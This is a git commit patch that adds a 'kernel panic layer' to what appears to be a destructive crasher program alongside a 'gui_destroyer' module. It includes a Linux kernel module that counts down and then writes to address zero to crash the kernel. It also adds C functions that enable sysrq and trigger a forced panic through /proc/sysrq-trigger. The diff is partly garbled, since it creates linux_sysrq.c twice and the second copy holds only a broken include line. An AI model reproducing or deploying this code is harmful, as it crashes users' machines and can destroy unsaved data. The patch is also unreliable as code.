From 1f36c1d58db4423dc09d8408897dbb507026f89b Mon Sep 17 00:00:00 2001 From: Namilskyy Date: Wed, 5 Nov 2025 21:45:40 +0300 Subject: Added kernel panic layer --- src/non_critical/gui_destroyer.rs | 2 ++ src/non_critical/kern_panic/Makefile | 13 +++++++++++++ src/non_critical/kern_panic/linux_kmod.c | 22 ++++++++++++++++++++++ src/non_critical/kern_panic/linux_sysrq.c | 10 ++++++++++ src/non_critical/kern_panic/linux_sysrq.c | 1 + 5 files changed, 48 insertions(+) create mode 100644 src/non_critical/kern_panic/Makefile create mode 100644 src/non_critical/kern_panic/linux_kmod.c create mode 100644 src/non_critical/kern_panic/linux_sysrq.c create mode 100644 src/non_critical/kern_panic/linux_sysrq.c (limited to 'src') diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs index 0286298..126f0a6 100644 --- a/src/non_critical/gui_destroyer.rs +++ b/src/non_critical/gui_destroyer.rs @@ -91,6 +91,8 @@ unsafe fn artifacts_x11() -> xlib::Window { win } + +// WARNING: Compositor can deny the request, big compositors like kwin_wl will deny the request fn wayland_corrupt_buffer() -> Result<(), Box> { let display = Display::connect_to_env()?; let mut event_queue = display.create_event_queue(); diff --git a/src/non_critical/kern_panic/Makefile b/src/non_critical/kern_panic/Makefile new file mode 100644 index 0000000..9b4a328 --- /dev/null +++ b/src/non_critical/kern_panic/Makefile @@ -0,0 +1,13 @@ +obj-m += linux_kmod.o + +KDIR ?= /lib/modules/$(shell uname -r)/build +PWD := $(dir $(abspath $(firstword $(MAKEFILE_LIST)))) + +all: + $(MAKE) -C $(KDIR) M=$(PWD) modules + +clean: + $(MAKE) -C $(KDIR) M=$(PWD) clean + +.PHONY: all clean + diff --git a/src/non_critical/kern_panic/linux_kmod.c b/src/non_critical/kern_panic/linux_kmod.c new file mode 100644 index 0000000..ae0494d --- /dev/null +++ b/src/non_critical/kern_panic/linux_kmod.c @@ -0,0 +1,22 @@ +#include +#include +#include + +static int __init cr_init(void) { + printk(KERN_INFO "Crash module loaded, your kernel will broke in \n"); + for(int i = 0; i < 10; i++) { + ssleep(1); + printk(KERN_INFO "%d\n", i); + } + *(int*)0 = 0xdeadbeef; + return 0; +} + +static void __exit cr_exit(void) { + printk(KERN_INFO "Crash module unloaded((((\n"); + printk(KERN_INFO "It's not a bug, it's a feature. Were just wanted to write dump to 0 addr.\n"); +} + +module_init(cr_init); +module_exit(cr_exit); +MODULE_LICENSE("BSD-2-CLAUSE"); \ No newline at end of file diff --git a/src/non_critical/kern_panic/linux_sysrq.c b/src/non_critical/kern_panic/linux_sysrq.c new file mode 100644 index 0000000..b609043 --- /dev/null +++ b/src/non_critical/kern_panic/linux_sysrq.c @@ -0,0 +1,10 @@ +#include +#include + +void linux_sysrq_start() { + system("echo 1 > /proc/sys/kernel/sysrq"); +} + +void linux_sysrq_panic() { + system("echo 1 > /proc/sysrq-trigger"); +} \ No newline at end of file diff --git a/src/non_critical/kern_panic/linux_sysrq.c b/src/non_critical/kern_panic/linux_sysrq.c new file mode 100644 index 0000000..c85f12c --- /dev/null +++ b/src/non_critical/kern_panic/linux_sysrq.c @@ -0,0 +1 @@ +#include < \ No newline at end of file -- cgit v1.2.3